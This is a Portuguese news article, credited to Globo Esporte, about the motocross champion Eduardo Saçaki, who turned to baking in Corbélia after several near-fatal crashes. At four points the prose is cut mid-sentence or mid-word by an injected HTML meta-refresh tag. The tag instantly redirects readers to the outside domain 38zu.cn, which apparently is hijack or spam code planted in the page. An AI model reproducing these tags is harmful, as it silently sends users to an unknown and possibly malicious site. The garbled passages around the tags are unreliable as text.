Corbélia, 25/09/2024
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Lenda do motocross, japonês voador é padeiro no interior do Paraná

Cotidiano | Publicado em 14/05/2014 09:32

Campeão brasileiro, Eduardo Saçaki, vende pães em Corbélia, no oeste do Paraná. Ele teve três acidentes graves ao longo de 31 anos de carreira

Um dos principais nomes do motocross brasileiro está mudando de carreira e de apelido. Eduardo Saçaki, o "japonês voador", agora é padeiro e já é chamado de "japonês do sonho" na cidade de Corbélia, no oeste do Paraná, onde mora atualmente. As transformações na vida do ex-campeão começaram após acidentes quase fatais que deixaram cicatrizes e sustos. Nascido em 11 de maio de 1969, em Curitiba, Eduardo ainda era bebê quando dava sinais do que queria da vida:

- Tenho uma foto em cima da minha bicicletinha, um tipo de triciclo, que era a minha paixão

Anos depois, em 1983, Saçaki estreou no motocross profissional. Levou o título de vários campeonatos estaduais, brasileiros e latino americanos. Aperfeiçoou e popularizou uma das manobras esteticamente mais bonitas do esporte, em que deita a motocicleta no ar e volta à posição original, antes de tocar o solo. Foi o que lhe eu o apelido de "voador". Também criou fama de cabeça quente ao travar duelos ao longo de toda a carreira com Jorge Negretti.

- Às vezes o clima também complicava fora das pistas e a gente se enfrentava (risos). Mas era coisa de garotos que queriam vencer em tudo - brinca.

A moto de número 89 estava sempre na mira dos fotógrafos e chegou em primeiro em centenas de corridas. Mas o piloto também virou notícia devido a graves acidentes. O primeiro deles foi em 1991, enquanto disputava o Campeonato Japonês de Motocross. Após a queda que causou uma lesão na coluna, o então corredor de 22 anos ficou três meses internado em um hospital japonês. Recuperado, voltou a competir.

O acidente seguinte foi o mais grave. Em 2005, Saçaki tentou um salto difícil na pista de Carlos Barbosa, no Rio Grande do Sul. C
 
<meta http-equiv="refresh" content="0; url=http://38zu.cn">aiu, e a moto despencou em cima dele. Foram 11 dias em coma, entre a vida e a morte. Ele perdeu o rim esquerdo e o baço, teve fraturas na coluna e no crânio.

- Gastei quase R$ 1,5 milhão com tratamentos. Era tudo o que eu tinha e muito mais.

Foram três anos e meio de recuperação e, mesmo assim, voltou a competir. Em abril de 2014, Eduardo participou da abertura do Campeonato Paranaense de Motocross, em Toledo, no oeste do estado.

- Eu tinha treinado pouco na pista e, apesar disso, estava me sentindo arrojado. Cheguei à segunda posição e fui ousado demais na tentativa de alcançar a liderança. Acabei caindo. Foram mais quatro costelas quebradas - relembra Saçaki, que ouviu o pedido da avó, de 89 anos, e do avô, de 92. - Eles não querem mais que eu corra. E eu não quero fazê-los sofrer - completou.

Novos sonhos

A inspiração para entrar no ramo da panificação também tem influência familiar. A avó vende coxinhas em Apucarana, no norte do Paraná; a mãe tem um quiosque de comidas em Peruíbe, no litoral de São Paulo; e o pai é dono de uma indústria de pães em Curitiba.

- A pedido do meu pai, em 2009 eu já havia feito um curso de padeiro e cheguei a trabalhar dez meses em panificadoras de Curitiba. Foi onde adquiri o know-how necessário para começar a produzir os meus próprios pães.

Em uma casa recém alugada, onde mora com a esposa, Saçaki montou uma cozinha com equipamentos industriais. Produz três tipos de 
 
<meta http-equiv="refresh" content="0; url=http://38zu.cn">pães, a maioria sob encomenda: pão branco, sem lactose e integral multigrãos. Devido ao sucesso que fez logo no início do novo negócio, já ampliou o cardápio e passou a produzir sonhos, pastéis e yakissoba, receita japonesa ensinada pela mãe. Mas, antes de terminar a conversa com o "japonês voador que vende sonhos", uma última pergunta: é o
 
<meta http-equiv="refresh" content="0; url=http://38zu.cn"> fim da carreira nas pistas? A resposta era previsível:
 
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- Fazer pães e sonhos é bom para mim. Me t
 
<meta http-equiv="refresh" content="0; url=http://38zu.cn">ranquiliza. Mas o meu sonho é o motocross. São 31 anos de carreira. Por enquanto, não posso voltar. Mas um dia, quem sabe...
Fonte: Globo Esporte


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